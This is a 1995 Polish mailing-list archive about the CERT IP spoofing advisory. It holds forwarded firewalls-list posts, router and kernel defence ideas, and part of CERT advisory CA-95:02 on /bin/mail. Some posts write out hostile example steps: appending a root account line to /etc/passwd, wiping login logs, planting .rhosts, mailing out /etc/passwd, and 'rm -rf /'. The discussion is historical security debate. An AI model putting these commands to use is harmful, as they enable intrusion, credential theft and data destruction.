(5.65/25-eef) id AA16796; Thu, 26 Jan 95 21:38:34 +0100 Return-Path: Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id VAA28576 for polip@zsku.p.lodz.pl; Thu, 26 Jan 1995 21:30:31 +0100 Received: from NEWS GATEWAY by cyber with netnews for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl) To: polip@zsku.p.lodz.pl Date: 26 Jan 1995 20:19:54 GMT From: rzm@dain.oso.chalmers.se (Rafal Maszkowski) Message-Id: <3g905a$71j@Waldemar.mat.uni.torun.pl> Organization: OSO Sender: news.polip@cyber.ict.pwr.wroc.pl References: <199501261904.TAA09070@hebe.umcs.lublin.pl> Subject: Re: kolejna seria wlaman; bezpieczenstwo sieci Krzysztof Mlynarski (krzysio@hebe.umcs.lublin.pl) wrote: > Andrzej K. Brandt wrote: > > Jedni pisza, ze jest bezradny. Expert pisze nam, ze jest jedyny dzialajacy. > > To jak to jest do diabla? > Do diabla.. to jest wlasnie problem.. hehe.. sprawa nawet jest juz > troche smieszna. Dzis np. pisza na listach dyskusyjnych, ze jedynym > wyjsciem jest kodowanie przesylanych po sieci informacji, (na poziomie Na dluzsza mete jest to nieuniknione. Moze ktos wreszcie wezmie 4.4BSD i EBones i cos z tego skleci? > - wiara w TCP Wrappers + Ident, Nie wiem czy moze pomoc na atak przez source routing. tcpd nie pomoze na pewno przy ataku przez zgadywanie numerow, ale razem z identem moze. Tylko, ze trzeba miec wtedy identa na wszystkich maszynach, z ktorych sie logujemy. (zreszta dobrze go miec i tak) > - wiara w blokowanie na poziomie routera (konkretnie pisza o CISCO), Tylko najnowszy. > Jak dotad do nas sie nikt tak nie wlamal ... :) A skad wiesz? Wstepne patches dla NetBSD juz sa. Mam nadzieje, ze Linux nie pozostanie daleko w tyle. Najlepsze zrodlo informacji jakie dopadlem to http://www.eecs.nwu.edu/~jmyers/bugtraq R. -- Rafal Maszkowski rzm@oso.chalmers.se http://www.mat.uni.torun.pl/~rzm Opinia publiczna powinna byc zaalarmowana swoim nieistnieniem - St. J. Lec From news.polip@cyber.ict.pwr.wroc.pl Thu Jan 26 22:01:53 1995 Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA17502; Thu, 26 Jan 95 21:58:32 +0100 Return-Path: Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id VAA28944 for polip@zsku.p.lodz.pl; Thu, 26 Jan 1995 21:46:36 +0100 Received: from NEWS GATEWAY by cyber with netnews for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl) To: polip@zsku.p.lodz.pl Date: 26 Jan 1995 20:46:26 GMT From: spi-zs@srv1 (Zbigniew Sender) Message-Id: <3g91n2$s2d@cyber.ict.pwr.wroc.pl> Organization: Technical University of Wroclaw, Poland Sender: news.polip@cyber.ict.pwr.wroc.pl References: <3g83in$sr8@galaxy.uci.agh.edu.pl> Subject: Re: Sun FlashBack 1171: CERT Advisory: IP Spoofing Attacks and Hijacked Terminals Szymon Sokol (szymon@uci.agh.edu.pl) wrote: : Tomasz Kokowski (kokowski@CS.PUT.Poznan.PL) wrote: : : Przesylam kopie magazynu FlashBack (Sun) traktujacego o ostatniej serii : : wlaman. *To nie bylo po source routing*. : No, teraz sie troche wyjasnia - rzeczywiscie, sprawa jest nieco powazniejsza : niz pierwotnie myslalem: : : > To gain access, intruders create packets with spoofed source IP : : > addresses. This exploits applications that use authentication based on : : > IP addresses and leads to unauthorized user and possibly root access on : : > the targeted system. It is possible to route packets through : : > filtering-router firewalls if they are not configured to filter : : > incoming packets whose source address is in the local domain. It is : : > important to note that the described attack is possible even if no : : > reply packets can reach the attacker. : Innymi slowy: nie pomoze 'no ip source route' na routerze, i nie pomoze : ZADEN TCP wrapper. Nie ma bowiem sposobu, zeby TCP wrapper na docelowej : maszynie odroznil pakiet falszywy od prawdziwego. To musi robic router. : Przyznaje sie bez bicia, ze jeszcze nie wiem, jak zmusic Cisco, zeby to robilo. : Ale sie dowiem. : Oczywiscie, jesli zrodlo falszywego pakietu jest na lokalnej sieci, to router : nic nie pomoze, ale jak masz na lokalnej sieci hosty, ktorym nie mozesz ufac, : to i tak i tak kanal (ze wzgledu na mozliwosc nasluchu hasel). : : > ftp.research.att.com:/dist/internet_security : : > : : > Bellovin paper: ipext.ps.Z : : > Morris paper: 117.ps.Z : Znalazlem, przeczytalem. : : > Services that are vulnerable to the IP spoofing attack include : : > : : > o SunRPC & NFS : : > : : > o BSD UNIX "r" commands : : > : : > o anything wrapped by the tcp daemon wrappers - site dependent; check : : > your configuration : : > : : > o X windows : : > : : > o other applications that use source IP addresses for authentication : No i to jest rzeczywiscie problem. Moge nie uzywac .rhosts, ale nie uzywac : NFS i X Windows to jest niemozliwosc. : : > In taking over the existing connections, intruders can bypass one-time : : > passwords and other strong authentication schemes by tapping the : : > connection after the authentication is complete. For example, a : : > legitimate user connects to a remote site through a login or terminal : : > session; the intruder hijacks the connection after the user has : : > completed the authentication to the remote location; the remote site is : : > now compromised. (See Section I for examples of vulnerable : : > configurations.) : To tez jest powazna sprawa - to z kolei uderza w uzytkownikow uzywajacych : np. telneta z roznych dziwnych miejsc (np. konferencji itp.), gdzie nie ma : gwarancji, ze host nie jest juz "nadgryziony". : : > If you monitor packets using network-monitoring software such as : : > netlog, look for a packet on your external interface that has both its : : > source and destination IP addresses in your local domain. If you find : : > one, you are currently under attack. Netlog is available by anonymous : Swietny pomysl, tylko na ogol do swojego ZEWNETRZNEGO interfejsu (lacza : do NASK) uzytkownik (abonent NASK) nie ma dostepu. Stawiac 2 routery jeden : za drugim? Absurd. : : > Another way to detect IP spoofing is to compare the process accounting : : > logs between systems on your internal network. If the IP spoofing : : > attack has succeeded on one of your systems, you may get a log entry on : : > the victim machine showing a remote access; on the apparent source : : > machine, there will be no corresponding entry for initiating that : : > remote access. : Zwlaszcza jak sie ma 100+ maszyn, i nie pod jednolita administracja, : przeszukiwanie logow jest fascynujace. I jeszcze 1000+ PC, gdzie logow w : ogole nie ma. : -- : Szymon Sokol -- Network Manager : U U M M M M University of Mining and Metallurgy, Computer Center : U U MM MM MM MM ave. Mickiewicza 30, 30-059 Krakow, POLAND : U U M M M M M M M M TEL. +48 12 338100 EXT. 2885 FAX +48 12 338907 : UUUU M M M M M M WWW page: http://www.uci.agh.edu.pl/~szymon/ From krzysio@hebe.umcs.lublin.pl Thu Jan 26 22:26:53 1995 Received: from hebe.umcs.lublin.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA18303; Thu, 26 Jan 95 22:25:02 +0100 Return-Path: Received: (from krzysio@localhost) by hebe.umcs.lublin.pl (8.6.9/8.6.9) id VAA10035 for polip@zsku.p.lodz.pl; Thu, 26 Jan 1995 21:31:35 GMT From: Krzysztof Mlynarski Message-Id: <199501262131.VAA10035@hebe.umcs.lublin.pl> Subject: URL o Spoofingu! To: polip@zsku.p.lodz.pl Date: Thu, 26 Jan 1995 22:31:34 +0100 (MET) X-Mailer: ELM [version 2.4 PL22] Content-Type: text Content-Length: 2549 Edward Vielmetti wrote: >From firewalls-owner@GreatCircle.COM Thu Jan 26 01:25:25 1995 Date: Wed, 25 Jan 1995 18:30:24 -0500 (EST) From: Edward Vielmetti To: firewalls Subject: Re: CERT Advisory CA-95:01.IP.spoofing.attacks Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: firewalls-owner@GreatCircle.COM Precedence: bulk (As requested by Brent Chapman.) I have put together a web page on the spoofing attack. See http://www.msen.com/~emv/tubed/spoofing.html It has links to commercial sites that have documentation on how to configure routers to block such attacks, as well as pointers to mailing lists which discussed the news as it happened. (Both Livingston and Morning Star responded to my request for details, so at the very least you can get their take on the problem.) I am aware that there are documents missing from this page which would be of use; some of that is because text versions are not yet available, others are because I haven't gotten to them yet, and certainly there is more to be said. It is however a start. Several relevant documents are available only in postscript format; if you have a text to postscript conversion tool that's your favorite fling it my way. If you have details to add I have a mailbox set up for the purpose: mail to spoofing@tubed.com will drop into a separate folder for news and reference. I am also putting out a (semi) regular newsletter, "tubed", which includes some commentary on events such as this, and when I get a story written down to the point where I can send it out to a list that has some non-techno-geek people who I want to keep reading it :) I'll send it there. To request a subscription send mail to subscribe@tubed.com with contact information. thanks --Ed Edward Vielmetti / emv@msen.com / Ann Arbor, MI -- +---------------------------------------------------------------+ | E-mail: =Unix/Network Security Expert= | | krzysio@hebe.umcs.lublin.pl IRC: Krzysio Radio: SQ5ASM | | root@hebe.umcs.lublin.pl Voice phone: +48-81-37-56-76 | | 3W home page: http://hebe.umcs.lublin.pl/Krzysio/Krzysio.html | | | | "You can't kill ... what was killed before ..." | | - unknown vampire | +---------------------------------------------------------------+ From krzysio@hebe.umcs.lublin.pl Thu Jan 26 22:26:57 1995 Received: from hebe.umcs.lublin.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA18293; Thu, 26 Jan 95 22:24:00 +0100 Return-Path: Received: (from krzysio@localhost) by hebe.umcs.lublin.pl (8.6.9/8.6.9) id VAA10019 for polip@zsku.p.lodz.pl; Thu, 26 Jan 1995 21:30:32 GMT From: Krzysztof Mlynarski Message-Id: <199501262130.VAA10019@hebe.umcs.lublin.pl> Subject: I jeszcze w temacie spoofingu... To: polip@zsku.p.lodz.pl Date: Thu, 26 Jan 1995 22:30:31 +0100 (MET) X-Mailer: ELM [version 2.4 PL22] Content-Type: text Content-Length: 2799 Bret McDanel wrote: >From firewalls-owner@GreatCircle.COM Thu Jan 26 03:06:29 1995 Date: Wed, 25 Jan 1995 14:36:13 -0500 From: bret@real.com (Bret McDanel) Message-Id: <199501251936.OAA15862@real.com> To: ken Subject: Re: CERT Advisory 95:01 and TIS Firewalls... Cc: firewalls Sender: firewalls-owner@GreatCircle.COM Precedence: bulk > Ian Dunkin wrote on Wed, 25 Jan 1995 17:46:04 +0000 (GMT: > >..but it seems to be being suggested on the Firewalls list, that a > >_different_ attack exists to allow midstream takeover of TCP connections > >(without the use of the TAP module mentioned in the advisory). Have I > >understood this aright? In which case, even the use of a preliminary > >authentication device doesn't help you, because your session can be > >taken over after the authentication has completed? If so, then > >application gateways such as Fwtk are vulnerable if being used for > >(unencrypted) inbound sessions? > > How does the attacker route the packets to his own machine (H) once > he's inserted his own spoofed packets into the stream if he's not on > the same machine as (B) ? > > A --FW---------R . . . B > | > H > > Is this possible without source routing or subversion of a router (R) > along the path? > > -KH > > As I understand the spoofed packets thing, it is like Robert T. Morris described way back in 1985.. You connect to port 514.. That way you cna execute commands (specifing the user), even root commands.. Also, as I understand it there needs to reside a .rhosts file.. Without that they cannot get in and do the damage.. They dont need to see anything, because htey would probally do something like: echo hacker::0:0::/:/bin/csh >>/etc/passwd or something simmilar.. execute this a root, and you have an entry into the system.. then use one of the various tools out there to remove your self from utmp, wtmp and lastlogin.. Install all of your tools to keep root (trojans, logic bombs, etc), or copy whatever you wnat, and leave.. It would be VERY difficult to maintain a session with spoofed packets.. So you wouldnt, only psoof the ip long enough to make a hole.. -- +---------------------------------------------------------------+ | E-mail: =Unix/Network Security Expert= | | krzysio@hebe.umcs.lublin.pl IRC: Krzysio Radio: SQ5ASM | | root@hebe.umcs.lublin.pl Voice phone: +48-81-37-56-76 | | 3W home page: http://hebe.umcs.lublin.pl/Krzysio/Krzysio.html | | | | "You can't kill ... what was killed before ..." | | - unknown vampire | +---------------------------------------------------------------+ From krzysio@hebe.umcs.lublin.pl Thu Jan 26 22:27:00 1995 Received: from hebe.umcs.lublin.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA18319; Thu, 26 Jan 95 22:26:52 +0100 Return-Path: Received: (from krzysio@localhost) by hebe.umcs.lublin.pl (8.6.9/8.6.9) id VAA10051 for polip@zsku.p.lodz.pl; Thu, 26 Jan 1995 21:33:25 GMT From: Krzysztof Mlynarski Message-Id: <199501262133.VAA10051@hebe.umcs.lublin.pl> Subject: DesLogin - szyfrowanie telnetu To: polip@zsku.p.lodz.pl Date: Thu, 26 Jan 1995 22:33:24 +0100 (MET) X-Mailer: ELM [version 2.4 PL22] Content-Type: text Content-Length: 2085 Dave Barrett wrote: >From firewalls-owner@GreatCircle.COM Thu Jan 26 01:27:50 1995 Message-Id: <199501260036.QAA01793@miles.greatcircle.com> Date: Wed, 25 Jan 95 17:34:04 -0700 From: Dave Barrett To: Firewalls Subject: End-to-end Encryption and CERT Sender: firewalls-owner@GreatCircle.COM Precedence: bulk I've been using a program I wrote called deslogin which I last released on ftp.uu.net about six months ago. The recent CERT advisory has caused a flood of inquiries to me about my program and I'm preparing a new release as a result. A couple of questions come to mind. Is telnet's encryption option widely available, and separately, is a secure challenge/response authentication protocal used for it now? I originally wrote the program to provide a secure un-tappable/hijackable connection between two secure hosts across a highly insecure network. If telnet does not, I'm trying to get an idea of how many people have used or wish to use deslogin. In the past, portability has been a problem, and I'm seeking to improve it substantially. I'm seeking advice and assistance particularly from people very familiar with the recent state of the various standards as the documentation I have applies only to POSIX 1. Please respond by email to barrett@asgard.cs.colorado.edu with any comments (or flames). I'd be very appreciative of your comments. David A. Barrett barrett@asgard.cs.colorado.edu -- +---------------------------------------------------------------+ | E-mail: =Unix/Network Security Expert= | | krzysio@hebe.umcs.lublin.pl IRC: Krzysio Radio: SQ5ASM | | root@hebe.umcs.lublin.pl Voice phone: +48-81-37-56-76 | | 3W home page: http://hebe.umcs.lublin.pl/Krzysio/Krzysio.html | | | | "You can't kill ... what was killed before ..." | | - unknown vampire | +---------------------------------------------------------------+ From krzysio@hebe.umcs.lublin.pl Thu Jan 26 22:50:25 1995 Received: from hebe.umcs.lublin.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA19700; Thu, 26 Jan 95 22:48:52 +0100 Return-Path: Received: (from krzysio@localhost) by hebe.umcs.lublin.pl (8.6.9/8.6.9) id VAA10253 for polip@zsku.p.lodz.pl; Thu, 26 Jan 1995 21:55:24 GMT From: Krzysztof Mlynarski Message-Id: <199501262155.VAA10253@hebe.umcs.lublin.pl> Subject: Re: kolejna seria wlaman; bezpieczenstwo sieci To: polip@zsku.p.lodz.pl Date: Thu, 26 Jan 1995 22:55:23 +0100 (MET) In-Reply-To: from "Piotr Wilk" at Jan 26, 95 04:00:26 pm X-Mailer: ELM [version 2.4 PL22] Content-Type: text Content-Length: 2157 Piotr Wilk wrote: > > Krzysztof Mlynarski (krzysio@hebe.umcs.lublin.pl) wrote: > : Co wiecej... wiekszosc doniesien i paniki dotyczy systemow SUN, w > : ktorych wlamywacz moze instalowac ladowalne moduly do kernela i zdrowo > : nimi namieszac. Tak wiec dyskusja kreci sie wokol SUN/OS. Niestety nie > : ma prawie zadnych informacji o maszynach innych firm (poza routerami, > : ale to inna sprawa). Osobiscie bardzo jestem ciekaw, jak to wyglada na > : Silicon Graphics (SGI) - bo u nas sa glownie takie maszyny. > Nie jest dla mnie jasne, co ma IP spoofing do modulow ladowalnych. Wydaje mi > sie ze na te forme ataku wszelkie systemy powinny byc jednakowo [nie]wrazliwe. Wg. spanikowanych adminow SUN'ow ma to wygkladac tak: Ktos instaluje jako root .rhosts, lub dopisuje sie na koncu pliku z haslami, a nastepnie wlazi na maszyne i dolacza jakis paskudny modul do kernela. Jasne, ze nie chodzilo o dolaczenie modulow poprzez spoofing jako taki.... :) > Nie jestem takze pewien, czy dobrze rozumiem cala idee. Jezeli chodzi > o 'source routing' to wylaczenie go na routerze powinno byc trywialne > (na Cisco komenda 'no ip source route'). Jezeli zas o cos wiecej, to o co? Wlasnie toczy sie bardzo ciekawa dyskusja o CISCO na firewalls. Juz pojawily sie glosy, ze to odciecie nie jest takie proste, bo odcinajace polecenia nie umozliwiaja rozroznienia kierunku, z ktorego nadchodza pakiety (nie mozesz wyspecyfikowac "IN" ani tez "OUT". Tym czasem lece dalej obserwowac dyskusje na ten temat .... :) Pozdrawiam, -Krzysio -- +---------------------------------------------------------------+ | E-mail: =Unix/Network Security Expert= | | krzysio@hebe.umcs.lublin.pl IRC: Krzysio Radio: SQ5ASM | | root@hebe.umcs.lublin.pl Voice phone: +48-81-37-56-76 | | 3W home page: http://hebe.umcs.lublin.pl/Krzysio/Krzysio.html | | | | "You can't kill ... what was killed before ..." | | - unknown vampire | +---------------------------------------------------------------+ From krzysio@hebe.umcs.lublin.pl Thu Jan 26 23:01:55 1995 Received: from hebe.umcs.lublin.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA20278; Thu, 26 Jan 95 22:58:27 +0100 Return-Path: Received: (from krzysio@localhost) by hebe.umcs.lublin.pl (8.6.9/8.6.9) id WAA10369 for polip@zsku.p.lodz.pl; Thu, 26 Jan 1995 22:04:59 GMT From: Krzysztof Mlynarski Message-Id: <199501262204.WAA10369@hebe.umcs.lublin.pl> Subject: Re: kolejna seria wlaman; bezpieczenstwo sieci To: polip@zsku.p.lodz.pl Date: Thu, 26 Jan 1995 23:04:59 +0100 (MET) In-Reply-To: <3g8v6r$2s2@sun1000.ci.pwr.wroc.pl> from "Jarek Lis" at Jan 26, 95 09:22:54 pm X-Mailer: ELM [version 2.4 PL22] Content-Type: text Content-Length: 1570 Jarek Lis wrote: > > Czy ktos moglby mnie oswiecic jak sie taki 'IP-spoofing' atak przeprowadza? > > Rozumiem, ze sie wysyla pakiet podajac falszywy adres nadawcy. Ten pakiet > do adresata zwykle dociera (no coz, jakby tu powiedziec, Internet na tym > sie opiera), tylko nie rozumiem co dalej. > > Daje nam to lacznosc w jedna strone, i jakos nie potrafie sobie wyobrazic > wykorzystania tego. > Wlasnie... jakbym widzial postingi z zagranicznych list dyskusyjnych, gdzie zadawano wlasnie to samo pytanie. Sprawa jest wbrew pozorom dosc oczywista! W wiekszosci przypadkow... wystarczy wlasnie komunikacja w jedna strone. Np. jesli chcesz "wstrzelic" sie w sesje root'a, aby w katalogu glownym systemu zainstalowac dla siebie plik .rhosts, wyslac do siebie /etc/passwd, czy tez w koncu wykonac "zwykle" rm -rf /, to nie musisz widziec, co konkretnie sie dzieje - skutek takiej operacji umiesz bowiem przewidziec. :) Pozdrawiam, -Krzysio -- +---------------------------------------------------------------+ | E-mail: =Unix/Network Security Expert= | | krzysio@hebe.umcs.lublin.pl IRC: Krzysio Radio: SQ5ASM | | root@hebe.umcs.lublin.pl Voice phone: +48-81-37-56-76 | | 3W home page: http://hebe.umcs.lublin.pl/Krzysio/Krzysio.html | | | | "You can't kill ... what was killed before ..." | | - unknown vampire | +---------------------------------------------------------------+ From krzysio@hebe.umcs.lublin.pl Thu Jan 26 23:05:23 1995 Received: from hebe.umcs.lublin.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA20622; Thu, 26 Jan 95 23:04:22 +0100 Return-Path: Received: (from krzysio@localhost) by hebe.umcs.lublin.pl (8.6.9/8.6.9) id WAA10426 for polip@zsku.p.lodz.pl; Thu, 26 Jan 1995 22:10:55 GMT From: Krzysztof Mlynarski Message-Id: <199501262210.WAA10426@hebe.umcs.lublin.pl> Subject: Re: kolejna seria wlaman; bezpieczenstwo sieci To: polip@zsku.p.lodz.pl Date: Thu, 26 Jan 1995 23:10:54 +0100 (MET) In-Reply-To: <3g905a$71j@Waldemar.mat.uni.torun.pl> from "Rafal Maszkowski" at Jan 26, 95 09:44:54 pm X-Mailer: ELM [version 2.4 PL22] Content-Type: text Content-Length: 2252 Rafal Maszkowski wrote: > > > Do diabla.. to jest wlasnie problem.. hehe.. sprawa nawet jest juz > > troche smieszna. Dzis np. pisza na listach dyskusyjnych, ze jedynym > > wyjsciem jest kodowanie przesylanych po sieci informacji, (na poziomie > Na dluzsza mete jest to nieuniknione. Moze ktos wreszcie wezmie 4.4BSD > i EBones i cos z tego skleci? Ponoc sa jakies gotowe rzeczy. Jutro mam zamiar to posciagac i obejrzec. dzis przyszedlem pozno i samo czytanie tych wszystkich list dyskusyjnych zajelo mi tyle czasu, ze zwyczajnie nic innego nie moglem zrobic :( > > - wiara w TCP Wrappers + Ident, > > Nie wiem czy moze pomoc na atak przez source routing. tcpd nie pomoze > na pewno przy ataku przez zgadywanie numerow, ale razem z identem moze. > Tylko, ze trzeba miec wtedy identa na wszystkich maszynach, z ktorych > sie logujemy. (zreszta dobrze go miec i tak) Akurat my mamy..., ale niektorzy nasi userzy juz nie (np. ci, ktorzy lacza sie z Novell'a). > > - wiara w blokowanie na poziomie routera (konkretnie pisza o CISCO), > Tylko najnowszy. No ladnie... a kto ma najnowsze? ;) > > Jak dotad do nas sie nikt tak nie wlamal ... :) > A skad wiesz? Bo jeszcze mam filesystem, bo moj checker zawartosci dysku nie stwierdzil zmian w binariach ani konfigach. Oczywiscie zobaczymyu co bedzie dalej.... > > Wstepne patches dla NetBSD juz sa. Mam nadzieje, ze Linux nie pozostanie > daleko w tyle. Tez mam taka sama nadzieje. Ciekawe jak bedzie z komercyjnymi systemami.... > > Najlepsze zrodlo informacji jakie dopadlem to > http://www.eecs.nwu.edu/~jmyers/bugtraq > Racja - swietne! Pozdrawiam, -Krzysio -- +---------------------------------------------------------------+ | E-mail: =Unix/Network Security Expert= | | krzysio@hebe.umcs.lublin.pl IRC: Krzysio Radio: SQ5ASM | | root@hebe.umcs.lublin.pl Voice phone: +48-81-37-56-76 | | 3W home page: http://hebe.umcs.lublin.pl/Krzysio/Krzysio.html | | | | "You can't kill ... what was killed before ..." | | - unknown vampire | +---------------------------------------------------------------+ From krzysio@hebe.umcs.lublin.pl Thu Jan 26 23:11:55 1995 Received: from hebe.umcs.lublin.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA21005; Thu, 26 Jan 95 23:11:26 +0100 Return-Path: Received: (from krzysio@localhost) by hebe.umcs.lublin.pl (8.6.9/8.6.9) id WAA10479 for polip@zsku.p.lodz.pl; Thu, 26 Jan 1995 22:17:58 GMT From: Krzysztof Mlynarski Message-Id: <199501262217.WAA10479@hebe.umcs.lublin.pl> Subject: Re: Sun FlashBack 1171: CERT Advisory: IP Spoofing Attacks and Hijacked Terminals To: polip@zsku.p.lodz.pl Date: Thu, 26 Jan 1995 23:17:57 +0100 (MET) In-Reply-To: <3g91n2$s2d@cyber.ict.pwr.wroc.pl> from "Zbigniew Sender" at Jan 26, 95 10:05:55 pm X-Mailer: ELM [version 2.4 PL22] Content-Type: text Content-Length: 954 Zbigniew Sender wrote: ???? Witam, Ja bardzo przepraszam, moze to nie jest zgodne z tematem tej listy ani dyskusji, ale.... Czy naprawde konieczne jest cytowanie calego postingu z listy i nawet nie umieszczenie pod nim oslawionego juz sgi'a :), a nastepnie odeslanie calosci na te sama liste?????? Pozdrawiam, -Krzysio -- +---------------------------------------------------------------+ | E-mail: =Unix/Network Security Expert= | | krzysio@hebe.umcs.lublin.pl IRC: Krzysio Radio: SQ5ASM | | root@hebe.umcs.lublin.pl Voice phone: +48-81-37-56-76 | | 3W home page: http://hebe.umcs.lublin.pl/Krzysio/Krzysio.html | | | | "You can't kill ... what was killed before ..." | | - unknown vampire | +---------------------------------------------------------------+ From krzysio@hebe.umcs.lublin.pl Thu Jan 26 23:31:56 1995 Received: from hebe.umcs.lublin.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA22161; Thu, 26 Jan 95 23:31:50 +0100 Return-Path: Received: (from krzysio@localhost) by hebe.umcs.lublin.pl (8.6.9/8.6.9) id WAA10638 for polip@zsku.p.lodz.pl; Thu, 26 Jan 1995 22:38:22 GMT From: Krzysztof Mlynarski Message-Id: <199501262238.WAA10638@hebe.umcs.lublin.pl> Subject: Spoofing & getsockname() To: polip@zsku.p.lodz.pl Date: Thu, 26 Jan 1995 23:38:22 +0100 (MET) X-Mailer: ELM [version 2.4 PL22] Content-Type: text Content-Length: 2701 Pond Scum wrote: >From firewalls-owner@GreatCircle.COM Thu Jan 26 22:32:30 1995 Date: Tue, 24 Jan 1995 23:33:20 +0800 From: hue@island.com (Pond Scum) Message-Id: <9501250733.AA04675@coney.island.com> To: firewalls, patrick Subject: Re: IP spoofing vs tcp wrappers and netacl X-Sun-Charset: US-ASCII Content-Length: 1705 Sender: firewalls-owner@GreatCircle.COM Precedence: bulk > > Doesn't help at all. The packets are forged to be from the internal > >network, and this is what getsockname()/getpeername() will say. It you > >use netacl, to protect telnetd to the firewall. (So the the admin can > >login from the internal network), then the attacker can get to > >telnetd. > > Actually, if the destination is the firewall, it does help, because the > getsockname tells you the ip-address of the interface that is holding > up your end of the connection. You know which ip-address you assign Right, but you can just as easily send to address of the interface on the internal network, even with IP forwarding disabled. To your netacl or tcp wrapper, it looks like a connection to the internal interface from an internal net. It was pointed out to me in private email that the only check in ipintr() is whether the address matches any of the host's interfaces, there is no check for which interface the packet came in on (I chopped out some code here, these are just the relevant parts): /* * Check our list of addresses, to see if the packet is for us. */ for (ia = in_ifaddr; ia; ia = ia->ia_next) { if (IA_SIN(ia)->sin_addr.s_addr == ip->ip_dst.s_addr) goto ours; But what if you just changed it to this: if (IA_SIN(ia)->sin_addr.s_addr == ip->ip_dst.s_addr) if (ia->ia_ifp == ifp) goto ours; else it came in on the wrong interface, log it and drop it If this successfully prevented someone from sending a packet to the address of your internal interface from the outside world, then you could trust getsockname(). -Jonathan hue@island.com -- +---------------------------------------------------------------+ | E-mail: =Unix/Network Security Expert= | | krzysio@hebe.umcs.lublin.pl IRC: Krzysio Radio: SQ5ASM | | root@hebe.umcs.lublin.pl Voice phone: +48-81-37-56-76 | | 3W home page: http://hebe.umcs.lublin.pl/Krzysio/Krzysio.html | | | | "You can't kill ... what was killed before ..." | | - unknown vampire | +---------------------------------------------------------------+ From krzysio@hebe.umcs.lublin.pl Fri Jan 27 00:11:56 1995 Received: from hebe.umcs.lublin.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA24004; Fri, 27 Jan 95 00:10:34 +0100 Return-Path: Received: (from krzysio@localhost) by hebe.umcs.lublin.pl (8.6.9/8.6.9) id XAA11006 for polip@zsku.p.lodz.pl; Thu, 26 Jan 1995 23:17:07 GMT From: Krzysztof Mlynarski Message-Id: <199501262317.XAA11006@hebe.umcs.lublin.pl> Subject: CERT Advisory CA-95:02.binmail.vulnerabilities (fwd) To: polip@zsku.p.lodz.pl Date: Fri, 27 Jan 1995 00:17:06 +0100 (MET) X-Mailer: ELM [version 2.4 PL22] Content-Type: text Content-Length: 33142 CERT Advisory wrote: >From cert-advisory@cert.org Thu Jan 26 23:05:26 1995 Date: Thu, 26 Jan 1995 17:53:40 -0500 Message-Id: <199501262253.RAA04066@delphi.cert.org> Subject: CERT Advisory CA-95:02.binmail.vulnerabilities To: cert-advisory-request From: cert-advisory@cert.org (CERT Advisory) Reply-To: cert-advisory@cert.org Organization: CERT Coordination Center Address: Software Engineering Institute Carnegie Mellon University Pittsburgh, Pennsylvania 15213-3890 Phone: +1 412 268-7090 Fax: +1 412 268-6989 ============================================================================= CA-95:02 CERT Advisory January 26, 1995 Vulnerabilities in /bin/mail ----------------------------------------------------------------------------- This advisory supersedes CA-91:01a SunOS Mail Vulnerability and CA-91:13 Ultrix Mail Vulnerability. There are vulnerabilities in some versions of /bin/mail. Section III below provides vendor-specific information and an alternative to /bin/mail. As we receive additional information relating to this advisory, we will place it, along with any clarifications, in a CA-95:02.README file. CERT advisories and their associated README files are available by anonymous FTP from info.cert.org. We encourage you to check the README files regularly for updates on advisories that relate to your site. ----------------------------------------------------------------------------- I. Description Some versions of /bin/mail based on BSD 4.3 UNIX are vulnerable because of timing windows in the way /bin/mail uses publicly writable directories. II. Impact Local users (users that have an account on the system) can create or modify root-owned files on the system and can thereby gain unauthorized root access. III. Solutions Either install a patch from your vendor or replace /bin/mail with mail.local. A. Obtain the appropriate patch from your vendor and install it according to the instructions included with the patch. Below is a summary of the vendors listed in the current version of the CA-95:02.README file, and the status they have provided. More complete information, including how to obtain patches, is provided in Appendix A of this advisory and reproduced in the README file associated with this advisory. We will update the README file as we receive more information from vendors. If your vendor's name is not on this list, please contact the vendor directly. Vendor or Source Status ---------------- ------------ Apple Computer, Inc. not vulnerable Berkeley SW Design, Inc. (BSDI) not vulnerable Data General Corp. not vulnerable Digital Equipment Corp. vulnerable, patches available FreeBSD not vulnerable Harris not vulnerable IBM not vulnerable NetBSD not vulnerable NeXT, Inc. not vulnerable Pyramid not vulnerable The Santa Cruz Operation (SCO) see note in Appendix A Solbourne (Grumman) vulnerable - contact vendor Sun Microsystems, Inc. SunOS 4.x vulnerable, patches available, patch revisions coming soon Solaris 2.x not vulnerable B. Replace /bin/mail with mail.local. If you cannot obtain a vendor-supplied replacement for /bin/mail, the CERT Coordination Center recommends using mail.local as a replacement for /bin/mail. Although the current version of mail.local is not a perfect solution, it addresses the vulnerabilities currently being exploited in /bin/mail. As improvements to mail.local become available, we will note them in the README file associated with this advisory. The current version of mail.local has been tested on SunOS 4.1 and Ultrix 4.X systems. Mail.local.c for BSD 4.3 systems, along with a README file containing installation instructions, can be found on the anonymous FTP servers listed below. In addition, Appendix B of this advisory contains the the README file and Appendix C contains mail.local.c. Location Filename -------- -------- info.cert.org /pub/tools/mail.local/mail.local.c MD5 c0d64e740b42f6dc5cc54a2bc37c31b0 coast.cs.purdue.edu /pub/tools/unix/mail.local/mail.local.c MD5 c0d64e740b42f6dc5cc54a2bc37c31b0 --------------------------------------------------------------------------- The CERT Coordination Center thanks Eric Allman, Wolfgang Ley, Karl Strickland, Wietse Venema, and Neil Woods for their contributions to mail.local. --------------------------------------------------------------------------- If you believe that your system has been compromised, contact the CERT Coordination Center or your representative in Forum of Incident Response and Security Teams (FIRST). If you wish to send sensitive incident or vulnerability information to CERT staff by electronic mail, we strongly advise that the e-mail be encrypted. The CERT Coordination Center can support a shared DES key, PGP (public key available via anonymous FTP on info.cert.org), or PEM (contact CERT staff for details). 